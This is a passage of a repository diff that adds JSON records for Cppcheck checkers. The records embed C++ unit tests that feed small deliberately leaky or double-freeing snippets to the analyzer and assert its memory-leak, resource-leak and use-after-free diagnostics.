configuration3() {\n {\n const char code[] = \"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (set_data(p)) { }\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\"[test.c:4:1]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n }\n\n {\n const char code[] = \"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" if (set_data(p)) { return; }\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\"[test.c:3:24]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\"\n \"[test.c:4:1]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\"\n , errout_str());\n check(code, dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:24]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\"\n \"[test.cpp:4:1]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\"\n , errout_str());\n }\n }\n\n void configuration4() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" int ret = set_data(p);\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:5]: (information) --check-library: Function set_data() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n }\n\n void configuration5() {\n check(\"void f() {\\n\"\n \" int(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static_assert(1 == sizeof(char), \\\"test\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace pal {\\n\" // #11237\n \" struct AutoTimer {};\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" pal::AutoTimer();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AutoTimer {};\\n\"\n \"int main() {\\n\"\n \" AutoTimer();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8666\n \" asm(\\\"assembler code\\\");\\n\"\n \" asm volatile(\\\"assembler code\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11239\n \" asm goto(\\\"assembler code\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" FILE* p = fopen(\\\"abc.txt\\\", \\\"r\\\");\\n\"\n \" if (fclose(p) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S;\\n\"\n \"void f(int a, int b, S*& p) {\\n\"\n \" if (a == -1) {\\n\"\n \" FILE* file = fopen(\\\"abc.txt\\\", \\\"r\\\");\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" void* buf = malloc(10);\\n\"\n \" p = reinterpret_cast(buf);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Resource leak: file [resourceLeak]\\n\", errout_str());\n }\n\n void configuration6() {\n check(\"void f() {}\\n\" // #11198\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::function cb) {\\n\" // #11189\n \" cb();\\n\"\n \"}\\n\"\n \"void g(void (*cb)()) {\\n\"\n \" cb();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ptrptr() {\n check(\"void f() {\\n\"\n \" char **p = malloc(10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void nestedAllocation() {\n check(\"void QueueDSMCCPacket(unsigned char *data, int length) {\\n\"\n \" unsigned char *dataCopy = malloc(length * sizeof(unsigned char));\\n\"\n \" m_dsmccQueue.enqueue(new DSMCCPacket(dataCopy));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (information) --check-library: Function DSMCCPacket() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n\n check(\"void QueueDSMCCPacket(unsigned char *data, int length) {\\n\"\n \" unsigned char *dataCopy = malloc(length * sizeof(unsigned char));\\n\"\n \" m_dsmccQueue.enqueue(new DSMCCPacket(somethingunrelated));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: dataCopy [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *buf = new char[1000];\\n\"\n \" clist.push_back(new (std::nothrow) C(buf));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (information) --check-library: Function C() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n }\n\n void testKeywords() {\n check(\"int main(int argc, char **argv) {\\n\"\n \" double *new = malloc(1*sizeof(double));\\n\"\n \" free(new);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void inlineFunction() {\n check(\"int test() {\\n\"\n \" char *c;\\n\"\n \" int ret() {\\n\"\n \" free(c);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" c = malloc(128);\\n\"\n \" return ret();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #8262\n void smartPtrInContainer() {\n check(\"std::list< std::shared_ptr > mList;\\n\"\n \"void test(){\\n\"\n \" int *pt = new int(1);\\n\"\n \" mList.push_back(std::shared_ptr(pt));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.cpp = true)\n );\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void functionCallCastConfig() { // #9652\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settingsFunctionCall = settingsBuilder(settings).libraryxml(xmldata).build();\n\n check(\"void test_func()\\n\"\n \"{\\n\"\n \" char * buf = malloc(4);\\n\"\n \" free_func((void *)(1), buf);\\n\"\n \"}\", settingsFunctionCall);\n ASSERT_EQUALS(\"[test.cpp:5:1]: (information) --check-library: Function free_func() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n\n check(\"void g(void*);\\n\"\n \"void h(int, void*);\\n\"\n \"void f1() {\\n\"\n \" int* p = new int;\\n\"\n \" g(static_cast(p));\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" int* p = new int;\\n\"\n \" h(1, static_cast(p));\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:1]: (information) --check-library: Function g() should have / configuration [checkLibraryUseIgnore]\\n\"\n \"[test.cpp:10:1]: (information) --check-library: Function h() should have / configuration [checkLibraryUseIgnore]\\n\",\n errout_str());\n }\n\n void functionCallLeakIgnoreConfig() { // #7923\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \"\\n\";\n const Settings settingsLeakIgnore = settingsBuilder().libraryxml(xmldata).build();\n check(\"void f() {\\n\"\n \" double* a = new double[1024];\\n\"\n \" SomeClass::someMethod(a);\\n\"\n \"}\\n\", settingsLeakIgnore);\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: a [memleak]\\n\", errout_str());\n\n check(\"void bar(int* p) {\\n\"\n \" if (p)\\n\"\n \" free(p);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int* p = malloc(4);\\n\"\n \" bar(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\"\n \" char* p = new char[n];\\n\"\n \" v.push_back(p);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (information) --check-library: Function unknown::push_back() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestLeakAutoVar)\n\nclass TestLeakAutoVarRecursiveCountLimit : public TestFixture {\npublic:\n TestLeakAutoVarRecursiveCountLimit() : TestFixture(\"TestLeakAutoVarRecursiveCountLimit\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").checkLibrary().build();\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[], bool cpp = false) {\n SimpleTokenizer2 tokenizer(settings, *this, code, cpp?\"test.cpp\":\"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(recursiveCountLimit); // #5872 #6157 #9097\n }\n\n void recursiveCountLimit() { // #5872 #6157 #9097\n ASSERT_THROW_INTERNAL_EQUALS(checkP(\"#define ONE else if (0) { }\\n\"\n \"#define TEN ONE ONE ONE ONE ONE ONE ONE ONE ONE ONE\\n\"\n \"#define HUN TEN TEN TEN TEN TEN TEN TEN TEN TEN TEN\\n\"\n \"#define THOU HUN HUN HUN HUN HUN HUN HUN HUN HUN HUN\\n\"\n \"void foo() {\\n\"\n \" if (0) { }\\n\"\n \" THOU THOU\\n\"\n \"}\"), LIMIT, \"Internal limit: CheckLeakAutoVar::checkScope() Maximum recursive count of 1000 reached.\");\n ASSERT_NO_THROW(checkP(\"#define ONE if (0) { }\\n\"\n \"#define TEN ONE ONE ONE ONE ONE ONE ONE ONE ONE ONE\\n\"\n \"#define HUN TEN TEN TEN TEN TEN TEN TEN TEN TEN TEN\\n\"\n \"#define THOU HUN HUN HUN HUN HUN HUN HUN HUN HUN HUN\\n\"\n \"void foo() {\\n\"\n \" if (0) { }\\n\"\n \" THOU THOU\\n\"\n \"}\"));\n }\n};\n\n#if !defined(__MINGW32__) && !defined(__CYGWIN__)\n// TODO: this crashes with a stack overflow for MinGW and error 2816 for Cygwinin the CI\nREGISTER_TEST(TestLeakAutoVarRecursiveCountLimit)\n#endif\n\nclass TestLeakAutoVarStrcpy : public TestFixture {\npublic:\n TestLeakAutoVarStrcpy() : TestFixture(\"TestLeakAutoVarStrcpy\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").checkLibrary().build();\n\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(returnedValue); // #9298\n TEST_CASE(deallocuse2);\n TEST_CASE(fclose_false_positive); // #9575\n TEST_CASE(strcpy_false_negative);\n TEST_CASE(doubleFree);\n TEST_CASE(memleak_std_string);\n }\n\n void returnedValue() { // #9298\n check(\"char *m;\\n\"\n \"void strcpy_returnedvalue(const char* str)\\n\"\n \"{\\n\"\n \" char* ptr = new char[strlen(str)+1];\\n\"\n \" m = strcpy(ptr, str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse2() {\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" strcpy(a, p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\", errout_str());\n\n check(\"void f(char *p, const char *q) {\\n\" // #11665\n \" free(p);\\n\"\n \" strcpy(p, q);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\",\n errout_str());\n\n check(\"void f(char *p) {\\n\" // #3041 - assigning pointer when it's used\n \" free(p);\\n\"\n \" strcpy(a, p=b());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void fclose_false_positive() { // #9575\n check(\"int f(FILE *fp) { return fclose(fp); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strcpy_false_negative() { // #12289\n check(\"void f() {\\n\"\n \" char* buf = new char[12];\\n\"\n \" strcpy(buf, \\\"123\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: buf [memleak]\\n\", errout_str());\n }\n\n void doubleFree() {\n check(\"void f(char* p) {\\n\"\n \" free(p);\\n\"\n \" printf(\\\"%s\\\", p = strdup(\\\"abc\\\"));\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memleak_std_string() {\n check(\"struct S {\\n\" // #12354\n \" std::string s;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void f(S* p, bool b) {\\n\"\n \" if (b)\\n\"\n \" p = new S();\\n\"\n \" p->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"class B { std::string s; };\\n\" // #12062\n \"class D : public B {};\\n\"\n \"void g() {\\n\"\n \" auto d = new D();\\n\"\n \" if (d) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:1]: (error) Memory leak: d [memleak]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestLeakAutoVarStrcpy)\n\n\nclass TestLeakAutoVarWindows : public TestFixture {\npublic:\n TestLeakAutoVarWindows() : TestFixture(\"TestLeakAutoVarWindows\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"windows.cfg\").build();\n\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, false);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(heapDoubleFree);\n }\n\n void heapDoubleFree() {\n check(\"void f() {\\n\"\n \" HANDLE MyHeap = HeapCreate(0, 0, 0);\\n\"\n \" int *a = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" int *b = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" HeapFree(MyHeap, 0, a);\\n\"\n \" HeapFree(MyHeap, 0, b);\\n\"\n \" HeapDestroy(MyHeap);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a = HeapAlloc(GetProcessHeap(), 0, sizeof(int))\\n\"\n \" int *b = HeapAlloc(GetProcessHeap(), 0, sizeof(int));\\n\"\n \" HeapFree(GetProcessHeap(), 0, a);\\n\"\n \" HeapFree(GetProcessHeap(), 0, b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" HANDLE MyHeap = HeapCreate(0, 0, 0);\\n\"\n \" int *a = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" int *b = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" HeapFree(MyHeap, 0, a);\\n\"\n \" HeapDestroy(MyHeap);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:7:1]: (error) Memory leak: b [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" HANDLE MyHeap = HeapCreate(0, 0, 0);\\n\"\n \" int *a = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" int *b = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" HeapFree(MyHeap, 0, a);\\n\"\n \" HeapFree(MyHeap, 0, b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:7:1]: (error) Resource leak: MyHeap [resourceLeak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" HANDLE MyHeap = HeapCreate(0, 0, 0);\\n\"\n \" int *a = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" int *b = HeapAlloc(MyHeap, 0, sizeof(int));\\n\"\n \" HeapFree(MyHeap, 0, a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:6:1]: (error) Resource leak: MyHeap [resourceLeak]\\n\"\n \"[test.c:6:1]: (error) Memory leak: b [memleak]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestLeakAutoVarWindows)\n\nclass TestLeakAutoVarPosix : public TestFixture {\npublic:\n TestLeakAutoVarPosix() : TestFixture(\"TestLeakAutoVarPosix\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").library(\"posix.cfg\").build();\n\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for leaks..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(memleak_getline);\n TEST_CASE(deallocuse_fdopen);\n TEST_CASE(doublefree_fdopen); // #12781\n TEST_CASE(memleak_open); // #13356\n }\n\n void memleak_getline() {\n check(\"void f(std::ifstream &is) {\\n\" // #12297\n \" std::string str;\\n\"\n \" if (getline(is, str, 'x').good()) {};\\n\"\n \" if (!getline(is, str, 'x').good()) {};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse_fdopen() {\n check(\"struct FileCloser {\\n\" // #13126\n \" void operator()(std::FILE * ptr) const {\\n\"\n \" std::fclose(ptr);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(char* fileName) {\\n\"\n \" std::unique_ptr out;\\n\"\n \" int fd = mkstemps(fileName, 4);\\n\"\n \" if (fd != -1)\\n\"\n \" out.reset(fdopen(fd, \\\"w\\\"));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doublefree_fdopen() { // #12781\n check(\"void foo(void) {\\n\"\n \" int fd;\\n\"\n \" FILE *stream;\\n\"\n \" fd = open(\\\"/foo\\\", O_RDONLY);\\n\"\n \" if (fd == -1) return;\\n\"\n \" stream = fdopen(fd, \\\"r\\\");\\n\"\n \" if (!stream) {\\n\"\n \" close(fd);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" fclose(stream);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memleak_open() { // #13356\n check(\"int f() {\\n\"\n \" int fd = open(\\\"abc \\\", O_RDONLY);\\n\"\n \" if (fd > -1) {\\n\"\n \" return fd;\\n\"\n \" }\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestLeakAutoVarPosix)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/analyseWholeProgram.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/analyseWholeProgram.json new file mode 100644 index 0000000..cea8088 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/analyseWholeProgram.json @@ -0,0 +1,13 @@ +{ + "name": "analyseWholeProgram", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 52, + "branches": 10, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/arithmetic.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/arithmetic.json new file mode 100644 index 0000000..cfa3dba --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/arithmetic.json @@ -0,0 +1,22 @@ +{ + "name": "arithmetic", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 36, + "branches": 15, + "apis": 42, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 4525 + ], + "code": "check(\"int* f9() { int *x = NULL; return x--; }\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullConstantDereference.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullConstantDereference.json new file mode 100644 index 0000000..1d1797f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullConstantDereference.json @@ -0,0 +1,22 @@ +{ + "name": "nullConstantDereference", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 80, + "branches": 39, + "apis": 104, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 3401 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checknullpointer.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"library.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"token.h\"\n\n#include \n#include \n#include \n\nclass TestNullPointer : public TestFixture {\npublic:\n TestNullPointer() : TestFixture(\"TestNullPointer\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(nullpointerAfterLoop);\n TEST_CASE(nullpointer1);\n TEST_CASE(nullpointer2);\n TEST_CASE(structDerefAndCheck); // dereferencing struct and then checking if it's null\n TEST_CASE(pointerDerefAndCheck);\n TEST_CASE(nullpointer5); // References should not be checked\n TEST_CASE(nullpointerExecutionPaths);\n TEST_CASE(nullpointerExecutionPathsLoop);\n TEST_CASE(nullpointer7);\n TEST_CASE(nullpointer9);\n TEST_CASE(nullpointer10);\n TEST_CASE(nullpointer11); // ticket #2812\n TEST_CASE(nullpointer12); // ticket #2470\n TEST_CASE(nullpointer15); // #3560 (fp: return p ? f(*p) : f(0))\n TEST_CASE(nullpointer16); // #3591\n TEST_CASE(nullpointer17); // #3567\n TEST_CASE(nullpointer18); // #1927\n TEST_CASE(nullpointer19); // #3811\n TEST_CASE(nullpointer20); // #3807 (fp: return p ? (p->x() || p->y()) : z)\n TEST_CASE(nullpointer21); // #4038 (fp: if (x) p=q; else return;)\n TEST_CASE(nullpointer23); // #4665 (false positive)\n TEST_CASE(nullpointer24); // #5082 fp: chained assignment\n TEST_CASE(nullpointer25); // #5061\n TEST_CASE(nullpointer26); // #3589\n TEST_CASE(nullpointer27); // #6568\n TEST_CASE(nullpointer28); // #6491\n TEST_CASE(nullpointer30); // #6392\n TEST_CASE(nullpointer31); // #8482\n TEST_CASE(nullpointer32); // #8460\n TEST_CASE(nullpointer33);\n TEST_CASE(nullpointer34);\n TEST_CASE(nullpointer35);\n TEST_CASE(nullpointer36); // #9264\n TEST_CASE(nullpointer37); // #9315\n TEST_CASE(nullpointer38);\n TEST_CASE(nullpointer39); // #2153\n TEST_CASE(nullpointer40);\n TEST_CASE(nullpointer41);\n TEST_CASE(nullpointer42);\n TEST_CASE(nullpointer43); // #9404\n TEST_CASE(nullpointer44); // #9395, #9423\n TEST_CASE(nullpointer45);\n TEST_CASE(nullpointer46); // #9441\n TEST_CASE(nullpointer47); // #6850\n TEST_CASE(nullpointer48); // #9196\n TEST_CASE(nullpointer49); // #7804\n TEST_CASE(nullpointer50); // #6462\n TEST_CASE(nullpointer51);\n TEST_CASE(nullpointer52);\n TEST_CASE(nullpointer53); // #8005\n TEST_CASE(nullpointer54); // #9573\n TEST_CASE(nullpointer55); // #8144\n TEST_CASE(nullpointer56); // #9701\n TEST_CASE(nullpointer57); // #9751\n TEST_CASE(nullpointer58); // #9807\n TEST_CASE(nullpointer59); // #9897\n TEST_CASE(nullpointer60); // #9842\n TEST_CASE(nullpointer61);\n TEST_CASE(nullpointer62);\n TEST_CASE(nullpointer63);\n TEST_CASE(nullpointer64);\n TEST_CASE(nullpointer65); // #9980\n TEST_CASE(nullpointer66); // #10024\n TEST_CASE(nullpointer67); // #10062\n TEST_CASE(nullpointer68);\n TEST_CASE(nullpointer69); // #8143\n TEST_CASE(nullpointer70);\n TEST_CASE(nullpointer71); // #10178\n TEST_CASE(nullpointer72); // #10215\n TEST_CASE(nullpointer73); // #10321\n TEST_CASE(nullpointer74);\n TEST_CASE(nullpointer75);\n TEST_CASE(nullpointer76); // #10408\n TEST_CASE(nullpointer77);\n TEST_CASE(nullpointer78); // #7802\n TEST_CASE(nullpointer79); // #10400\n TEST_CASE(nullpointer80); // #10410\n TEST_CASE(nullpointer81); // #8724\n TEST_CASE(nullpointer82); // #10331\n TEST_CASE(nullpointer83); // #9870\n TEST_CASE(nullpointer84); // #9873\n TEST_CASE(nullpointer85); // #10210\n TEST_CASE(nullpointer86);\n TEST_CASE(nullpointer87); // #9291\n TEST_CASE(nullpointer88); // #9949\n TEST_CASE(nullpointer89); // #10640\n TEST_CASE(nullpointer90); // #6098\n TEST_CASE(nullpointer91); // #10678\n TEST_CASE(nullpointer92);\n TEST_CASE(nullpointer93); // #3929\n TEST_CASE(nullpointer94); // #11040\n TEST_CASE(nullpointer95); // #11142\n TEST_CASE(nullpointer96); // #11416\n TEST_CASE(nullpointer97); // #11229\n TEST_CASE(nullpointer98); // #11458\n TEST_CASE(nullpointer99); // #10602\n TEST_CASE(nullpointer100); // #11636\n TEST_CASE(nullpointer101); // #11382\n TEST_CASE(nullpointer102);\n TEST_CASE(nullpointer103);\n TEST_CASE(nullpointer104); // #13881\n TEST_CASE(nullpointer105); // #13861\n TEST_CASE(nullpointer_addressOf); // address of\n TEST_CASE(nullpointerSwitch); // #2626\n TEST_CASE(nullpointer_cast); // #4692\n TEST_CASE(nullpointer_castToVoid); // #3771\n TEST_CASE(nullpointer_subfunction);\n TEST_CASE(pointerCheckAndDeRef); // check if pointer is null and then dereference it\n TEST_CASE(nullConstantDereference); // Dereference NULL constant\n TEST_CASE(gcc_statement_expression); // Don't crash\n TEST_CASE(snprintf_with_zero_size);\n TEST_CASE(snprintf_with_non_zero_size);\n TEST_CASE(printf_with_invalid_va_argument);\n TEST_CASE(scanf_with_invalid_va_argument);\n TEST_CASE(nullpointer_in_return);\n TEST_CASE(nullpointer_in_typeid);\n TEST_CASE(nullpointer_in_alignof); // #11401\n TEST_CASE(nullpointer_in_for_loop);\n TEST_CASE(nullpointerDeadCode); // #11311\n TEST_CASE(nullpointerDelete);\n TEST_CASE(nullpointerSubFunction);\n TEST_CASE(nullpointerExit);\n TEST_CASE(nullpointerStdString);\n TEST_CASE(nullpointerStdStream);\n TEST_CASE(nullpointerSmartPointer);\n TEST_CASE(nullpointerOutOfMemory);\n TEST_CASE(functioncall);\n TEST_CASE(functioncalllibrary); // use Library to parse function call\n TEST_CASE(functioncallDefaultArguments);\n TEST_CASE(nullpointer_internal_error); // #5080\n TEST_CASE(ticket6505);\n TEST_CASE(subtract);\n TEST_CASE(addNull);\n TEST_CASE(isPointerDeRefFunctionDecl);\n\n TEST_CASE(ctuTest);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n bool cpp = true;\n Standards::cstd_t cstd = Standards::CLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).c(options.cstd).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for null pointer dereferences..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, false).build();\n\n SimpleTokenizer2 tokenizer(settings1, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for null pointer dereferences..\n runChecks(tokenizer, this);\n }\n\n\n\n void nullpointerAfterLoop() {\n // extracttests.start: struct Token { const Token *next() const; std::string str() const; };\n check(\"void foo(const Token *tok)\\n\"\n \"{\\n\"\n \" while (tok);\\n\"\n \" tok = tok->next();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:11]: (warning) Either the condition 'tok' is redundant or there is possible null pointer dereference: tok. 